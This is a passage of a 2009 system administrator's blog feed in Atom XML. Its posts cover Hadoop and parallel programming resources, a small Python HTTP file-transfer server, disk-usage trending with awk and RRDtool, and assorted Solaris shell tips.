Microsystems&lt;/a&gt;.
&lt;p&gt;
Details of this webinar as mentioned in the web site:
&lt;blockquote&gt;During this webinar you will learn about:
Scale — How to use Hadoop to store and process petabytes of data
Performance — How to maximize parallelism per node, and the results of tests varying the number of nodes, and integrating Flash memory drives
Virtualization — How we created multiple virtual nodes using Solaris Containers
Reliability — How Hadoop automatically maintains multiple copies of data and redeploys tasks based on failures
Deployment options — How Hadoop can be run in the "cloud" on Amazon EC2/3 services and in compute farms and high-performance computing (HPC) environments
Hadoop is typically scaled on a large pool of commodity system nodes. However, by using multicore, multithreaded processors, you can achieve the same scale with fewer machines.
In this Webinar, we will discuss how Sun's chip multithreading (CMT) technology-based UltraSPARC T2 Plus processor can process up to 256 tasks in parallel within a single node.
We will also share with you how we evaluated CPU and I/O throughput, memory size, and task counts to extract maximal parallelism per single node.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3063716344214323026?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3063716344214323026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3063716344214323026'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/08/scaling-hadoop-for-multicore-and-highly.html' title='Scaling Hadoop for Multicore and Highly Threaded Systems'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-4061421320050397171</id><published>2009-08-29T21:19:00.001+08:00</published><updated>2009-08-29T21:33:42.929+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HPC'/><category scheme='http://www.blogger.com/atom/ns#' term='Sun'/><title type='text'>An Introduction to Parallel Programming, Modules 3, 4 and 5</title><content type='html'>Latest videos:
&lt;ul&gt;
&lt;li&gt;Module 3 &lt;a href="http://blogs.sun.com/HPC/entry/video_par"&gt;Parallel Architectures&lt;/a&gt;
&lt;li&gt;Module 4 &lt;a href="http://blogs.sun.com/HPC/entry/video_parallel_programming_basics"&gt;Parallel Programming Basics&lt;/a&gt;
&lt;li&gt;Module 5 &lt;a href="http://blogs.sun.com/HPC/entry/video_distributed_memory_and_mpi"&gt;Parallel Programming Model - Distributed Memory and MPI&lt;/a&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4061421320050397171?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4061421320050397171/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4061421320050397171' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4061421320050397171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4061421320050397171'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/08/introduction-to-parallel-programming.html' title='An Introduction to Parallel Programming, Modules 3, 4 and 5'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-7967106994602185267</id><published>2009-08-25T22:19:00.000+08:00</published><updated>2009-08-25T22:24:01.994+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Maths'/><title type='text'>If You Love Maths and Programming ....</title><content type='html'>If you love maths and programming, you should visit &lt;a href="http://projecteuler.net/"&gt;Project Euler&lt;/a&gt;. As the web site mentioned:
&lt;blockquote&gt;Project Euler is a series of challenging mathematical/computer programming problems that will require more than just mathematical insights to solve. Although mathematics will help you arrive at elegant and efficient methods, the use of a computer and programming skills will be required to solve most problems.&lt;/blockquote&gt;
&lt;p&gt;
I am warning you. Project Euler is pretty addictive site for people who are passionate about mathematics and programming&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-7967106994602185267?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/7967106994602185267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=7967106994602185267' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7967106994602185267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7967106994602185267'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/08/if-you-love-maths-and-programming.html' title='If You Love Maths and Programming ....'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-4696478398090125800</id><published>2009-08-25T22:07:00.002+08:00</published><updated>2009-08-25T22:19:08.113+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Extending A Simple HTTP Server in Python</title><content type='html'>My users have this requirement of transferring files from a UNIX host to their desktop. Instead of asking them to install WinSCP or any other equivalent utility, I simply extend this &lt;a href="http://effbot.org/librarybook/simplehttpserver.htm"&gt;Python simple http server&lt;/a&gt; so that they can launch the server whenever they want to transfer via browser. My modified script will listen to some random high port and also ensure that the user (unless you are root) has the ownership of the directory where they launch the http server. To avoid anyone run wild, it restricts user from launching it from the root "/" directory. This simple python script becomes pretty handy for ad-hoc file transfer.
&lt;pre&gt;
#! /usr/local/bin/python
#
# minimal web server.  serves files relative to the current directory.
# random high port


import SimpleHTTPServer, SocketServer
import random, sys, os
import platform


#
# to avoid running wild
#
if os.path.realpath('.') == "/":
        print "ERROR. Cannot run under /. Run in another directory"
        sys.exit(1)


#
# ensure user own the directory, unless is root
#
uid=os.getuid()
owner=os.stat('.')[4]
if uid==0 or uid==owner:
        port = random.randint(50000,60000)
        url = "http://%s:%d/" % (platform.node(), port)
        try:
                Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
                httpd = SocketServer.TCPServer(("", port), Handler)
                print "Ask user to visit this URL:\n\t%s" % url
                httpd.serve_forever()
        except:
                pass
else:
        print "ERROR. You have to be either root or owner of the directory"
        sys.exit(1)
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4696478398090125800?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4696478398090125800/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4696478398090125800' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4696478398090125800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4696478398090125800'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/08/extending-simple-http-server-in-python.html' title='Extending A Simple HTTP Server in Python'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-8598909368373598962</id><published>2009-07-25T20:54:00.010+08:00</published><updated>2009-07-26T10:27:01.366+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='RRDtool'/><category scheme='http://www.blogger.com/atom/ns#' term='cgi'/><title type='text'>Do What You Think Is Right For The User</title><content type='html'>I have been collecting disk utilisation for every server (df -k -F ufs; df -k -F vxfs) every day since Feb this year and have them append to a file. The output has been carefully prepended with timestamp and hostname like this
&lt;pre&gt;
2009-07-14 host1 /dev/dsk/c3t0d0s0    11098457 8391180 2596293   77%    /
2009-07-14 host1 /dev/dsk/c3t0d0s5    6050982 5175437  815036    87%    /var
2009-07-14 host1 /dev/dsk/c3t1d0s2    70573141 10437628 59429782 15%    /d2
2009-07-14 host1 /dev/dsk/c3t0d0s3    51294057 43390875 7390242  86%    /d1
&lt;/pre&gt;
&lt;p&gt;
I have no idea of what I am going to do with the data and the file just keep growing. My gut feel tells me that it will be of some use one of these days. Now the file is 21MB in size, 248,059 lines and we are talking about appending 1500+ lines of df output per day.
&lt;pre&gt;
# &lt;stdin&gt;ls -lh mon-df.txt&lt;/stdin&gt;
-rw-r--r--   1 root     root     21M  Jul 25 09:00 mon-df.txt

# &lt;stdin&gt;wc -l mon-df.txt&lt;/stdin&gt;
  248059 mon-df.txt

# &lt;stdin&gt;tail -1 mon-df.txt&lt;/stdin&gt;
2009-07-25 host1 /dev/dsk/c4t0d0s0  2097152   34406 1933831     2%    /some/dir

# &lt;stdin&gt;grep -c 2009-07-25 mon-df.txt&lt;/stdin&gt;
1530
&lt;/pre&gt;
&lt;p&gt;
Recently when I was talking to the user, I proposed a self-help web page for them to monitor their own partition size and they just loved the idea. Initially the web page was just a text-based summary of those partitions that are above the threshold. After some thoughts, I think I can visualise all these data that I have been collecting using &lt;a href="http://www.rrdtool.org/"&gt;RRDtool&lt;/a&gt;. This will give them a historical trending on the growth of the partition.&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QxCNUeDt_uQ/SmsEVvaTw6I/AAAAAAAAAdU/-f3dXuxT_3A/s1600-h/host-fs.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 127px;" src="http://3.bp.blogspot.com/_QxCNUeDt_uQ/SmsEVvaTw6I/AAAAAAAAAdU/-f3dXuxT_3A/s320/host-fs.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5362384552865285026" /&gt;&lt;/a&gt;
&lt;p&gt;
My colleague advised me, based on his/her experience, not to do extra stuff for user because people will eventually ask for more. If I were to take his/her advice, all the data that I collected will be useless. I am glad that I did not take up the advice. IMO, just do what you think is right for the user and everything will fall into places.
&lt;p&gt;
In this exercise, I created a CGI program to 'massage' the data before feeding them to &lt;a href="http://www.rrdtool.org/"&gt;RRDtool&lt;/a&gt; for graphing. It takes about 1.8 seconds, which is considered a bit slow. In my CGI script, I tried to do everything from AWK (trying to be smart). Although AWK is very powerful, it is not fast enough when it comes to manipulate so much data. Also, AWK will not be able to take advantage of multiple CPUs.  By doing a fast grep (fgrep), which is damn fast for fix string search, and pipe the output to AWK, AWK does not have to handle that many lines and CGI response time has been cut down to less than 0.8 second. When &lt;code&gt;fgrep ... | nawk ...&lt;/code&gt; combine in a pipe, it will spawn off two processes to run together and will utilise 2 CPUs/Cores if available. Kind of parallel shell script programming :-)
&lt;pre&gt;
# &lt;stdin&gt;time nawk -v host=$host -v fs=$fs -v rrdfile=$rrdfile '
$2==host &amp;&amp; $8==fs {
        total=$4/(1024*1024)
        used=$5/(1024*1024)
        gsub("-","",$1)
        printf("update %s %s %.2lf %.2lf\n", rrdfile, $1, total, used)
}' mon-df.txt &amp;gt; /dev/null&lt;/stdin&gt;

real    0m1.764s
user    0m1.668s
sys     0m0.056s

# &lt;stdin&gt;time fgrep $host mon-df.txt | time nawk -v host=$host -v fs=$fs -v rrdfile=$rrdfile '
$2==host &amp;&amp; $8==fs {
        total=$4/(1024*1024)
        used=$5/(1024*1024)
        gsub("-","",$1)
        printf("update %s %s %.2lf %.2lf\n", rrdfile, $1, total, used)
}' &amp;gt; /dev/null&lt;/stdin&gt;

real        0.7
user        0.0
sys         0.0

real    0m0.752s
user    0m0.718s
sys     0m0.056s

# &lt;stdin&gt;psrinfo | wc -l&lt;/stdin&gt;
       2
&lt;/pre&gt;
&lt;p&gt;
Lesson learned. 
&lt;ol&gt;
&lt;li&gt;Do what you think is right for the user
&lt;li&gt;Use the fastest command upfront to filter the data set before processing can give you performance advantage for large data set.
&lt;li&gt;Having more than one commands (cmd1 | cmd2 | cmd3 ...) to work on the data can reduce run time in a multi-core/cpu system.
&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-8598909368373598962?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/8598909368373598962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=8598909368373598962' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8598909368373598962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8598909368373598962'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/do-what-you-think-is-right.html' title='Do What You Think Is Right For The User'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_QxCNUeDt_uQ/SmsEVvaTw6I/AAAAAAAAAdU/-f3dXuxT_3A/s72-c/host-fs.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-240115806247375428</id><published>2009-07-25T19:00:00.000+08:00</published><updated>2009-07-25T19:08:49.264+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='HPC'/><category scheme='http://www.blogger.com/atom/ns#' term='Sun'/><title type='text'>Introduction to Parallel Program: Module 2: Multicore Processor Architectures</title><content type='html'>As I blogged about &lt;a href="http://chihungchan.blogspot.com/2009/07/performance-tuning-video.html"&gt;Module 1: Performance Tuning Video&lt;/a&gt; early this month, I promised to keep you posted when &lt;a href="https://www.sun.com/jsp_utils/vid.jsp?bctid=25947228001&amp;frame=true&amp;autostart=true#vid"&gt;Module 2: Multicore Processor Architectures&lt;/a&gt; is available. As the author mentioned, it will be a 7-module training for Introduction to Parallel Programming. So stay tune for more&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-240115806247375428?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/240115806247375428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=240115806247375428' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/240115806247375428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/240115806247375428'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/introduction-to-parallel-program-module.html' title='Introduction to Parallel Program: Module 2: Multicore Processor Architectures'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3444204836622031860</id><published>2009-07-21T22:01:00.003+08:00</published><updated>2009-07-21T22:08:26.340+08:00</updated><title type='text'>Multicore Programming Lecture Series Videos</title><content type='html'>&lt;a href="http://www.cilk.com/multicore-blog/"&gt;CilkArts&lt;/a&gt; has posted videos from their recent series of lectures detailing the various methodologies behind multicore programming.  They’ve even posted the slide decks!

&lt;ol&gt;
&lt;li&gt;&lt;a href="http://www.cilk.com/multicore-blog/bid/9765/Multicore-Programming-Workshop-Lecture-1"&gt;Lecture 1&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;The multicore programming challenge
&lt;li&gt;Shared-memory hardware
&lt;li&gt;Leading concurrency platforms (Pthreads, OpenMP, TBB, Cilk++)
&lt;li&gt;Race conditions
&lt;/ul&gt;
&lt;li&gt;&lt;a href"http://www.cilk.com/multicore-blog/bid/9992/Concepts-in-Multicore-Programming-Lecture-2-Parallelism-Scheduling-Theory"&gt;Lecture 2&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;What is Parallelism?
&lt;li&gt;Scheduling Theory
&lt;li&gt;Cilk++ Runtime System
&lt;li&gt;A Chess Lesson
&lt;/ul&gt;
&lt;li&gt;&lt;a href"http://www.cilk.com/multicore-blog/bid/10039/Concepts-in-Multicore-Programming-Lecture-3-Analysis-of-Multithreaded-Algorithms"&gt;Lecture 3&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Implementation of Cilk loops
&lt;li&gt;Divide-&amp;-Conquer Recurrences
&lt;li&gt;Matrix Multiplication
&lt;li&gt;Tableau Construction
&lt;/ul&gt;
&lt;/ol&gt;
&lt;p&gt;
Hope you like them all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3444204836622031860?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3444204836622031860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3444204836622031860' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3444204836622031860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3444204836622031860'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/multicore-programming-lecture-series.html' title='Multicore Programming Lecture Series Videos'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2398163637588021016</id><published>2009-07-21T21:49:00.002+08:00</published><updated>2009-07-21T21:55:14.844+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Auto Logout Those Idle Users</title><content type='html'>The &lt;a href"http://wiki.centos.org/HowTos/OS_Protection"&gt;CentOS OS hardening&lt;/a&gt; has this tip to auto-logout those idle users. Setup a readonly TMOUT variable (works in ksh and bash) in /etc/profile so that the user cannot change it. What a noble way of using readonly variable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2398163637588021016?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2398163637588021016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2398163637588021016' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2398163637588021016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2398163637588021016'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/auto-logout-those-idle-users.html' title='Auto Logout Those Idle Users'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2732094167439328839</id><published>2009-07-21T21:44:00.001+08:00</published><updated>2009-07-21T21:46:15.296+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>Computer Pioneers - Pioneer Computers Pt 2</title><content type='html'>Further to my posting for &lt;a href="http://chihungchan.blogspot.com/2009/07/computer-pioneers-pioneer-computers.html"&gt;Computer Pioneers - Pioneer Computers Part 1&lt;/a&gt;, here is the part 2
&lt;p&gt;

&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/wsirYCAocZk&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/wsirYCAocZk&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2732094167439328839?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2732094167439328839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2732094167439328839' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2732094167439328839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2732094167439328839'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/computer-pioneers-pioneer-computers-pt.html' title='Computer Pioneers - Pioneer Computers Pt 2'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6401959372302758835</id><published>2009-07-18T21:29:00.004+08:00</published><updated>2009-07-18T21:42:13.515+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>New Trick Learned</title><content type='html'>Learned a new trick from the &lt;a href="http://www.unix.com/shell-programming-scripting/"&gt;Shell Programming and Scripting&lt;/a&gt; from &lt;a href="http://www.unix.com/"&gt;Unix and Linux Forum&lt;/a&gt;. Suppose you need to convert a single column file to multi-column with colon(:) as separator
&lt;pre&gt;
$ &lt;stdin&gt;cat a&lt;/stdin&gt;
one
two
three
four
five
six
seven
eight
nine
ten
eleven
twelve

$ &lt;stdin&gt;cat a | paste -d: - - -&lt;/stdin&gt;
one:two:three
four:five:six
seven:eight:nine
ten:eleven:twelve

$ &lt;stdin&gt;cat a | paste -d: - - - -&lt;/stdin&gt;
one:two:three:four
five:six:seven:eight
nine:ten:eleven:twelve

$ &lt;stdin&gt;cat a | paste -d: - - - - - -&lt;/stdin&gt;
one:two:three:four:five:six
seven:eight:nine:ten:eleven:twelve
&lt;/pre&gt;
&lt;p&gt;
In Unix, if "-" is specify as the file input, it will take the input from the pipe. In our case, multiple "-" in the paste will consume input one line at a time. Just a recap, I &lt;a href="http://chihungchan.blogspot.com/2009/04/paste-too-many-files-limit-12-in.html"&gt;blogged&lt;/a&gt; about paste command in Solaris has a limit of no more than 12 files
&lt;pre&gt;
$ &lt;stdin&gt;(cat a a a) | paste -d: - - - - - - - - - -&lt;/stdin&gt;
one:two:three:four:five:six:seven:eight:nine:ten
eleven:twelve:one:two:three:four:five:six:seven:eight
nine:ten:eleven:twelve:one:two:three:four:five:six
seven:eight:nine:ten:eleven:twelve::::

$ &lt;stdin&gt;(cat a a a) | paste -d: - - - - - - - - - - - -&lt;/stdin&gt;
one:two:three:four:five:six:seven:eight:nine:ten:eleven:twelve
one:two:three:four:five:six:seven:eight:nine:ten:eleven:twelve
one:two:three:four:five:six:seven:eight:nine:ten:eleven:twelve

$ &lt;stdin&gt;(cat a a a) | paste -d: - - - - - - - - - - - - - -&lt;/stdin&gt;
paste: too many files- limit 12
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6401959372302758835?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6401959372302758835/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6401959372302758835' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6401959372302758835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6401959372302758835'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/new-trick-learned.html' title='New Trick Learned'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-5278764405535043350</id><published>2009-07-18T21:05:00.005+08:00</published><updated>2009-07-18T22:18:44.302+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>How to list only today's files</title><content type='html'>Sometimes you may have difficulties in finding those files created/modified today using "find -mtime" command. What we can do is to take advantage of the "-nt" (file newer) conditional expression. By creating a file at exactly today at 00:00, we can use that to compare.
&lt;pre&gt;
today="/tmp/today.$$"
touch -t `date '+%Y%m%d0000'` $today
for i in `find . -type f`
do
    if [ $i -nt $today ]; then
        echo $i
    fi
done
rm -f $today
&lt;/pre&gt;
&lt;p&gt;
BTW, "-nt" available only in Korn and Bash shell.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-5278764405535043350?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/5278764405535043350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=5278764405535043350' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5278764405535043350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5278764405535043350'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/how-to-list-only-todays-files.html' title='How to list only today&apos;s files'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-5933136046022966252</id><published>2009-07-08T15:02:00.005+08:00</published><updated>2009-07-08T15:23:59.632+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RRDtool'/><title type='text'>RRDtool Tips and Tricks</title><content type='html'>I am having time-off today and found time to think about how I can determine the top 5 network throughput out of hundreds of &lt;a href="http://www.rrdtool.org/"&gt;RRD&lt;/a&gt; files. I stumbled upon this article: &lt;a href="http://2007.jres.org/planning/slides/136.pdf"&gt;RRDtool Tips &amp;amp; Tricks&lt;/a&gt;. It is indeed a very useful paper and some of the tips mentioned helped me to summarise the data without having to do any programming. Look under the &lt;a href="http://oss.oetiker.ch/rrdtool/doc/rrdgraph_data.en.html"&gt;VDEF&lt;/a&gt; section.
&lt;p&gt;
The best tips are on page 2 and page 3:
&lt;blockquote&gt;Recipe for Success - Resolve the problems before anyone else finds them
&lt;br&gt;
&lt;br&gt;... and talk about it - Being able is only half the story, the others must know too!&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-5933136046022966252?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/5933136046022966252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=5933136046022966252' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5933136046022966252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5933136046022966252'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/rrdtool-tips-and-tricks.html' title='RRDtool Tips and Tricks'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 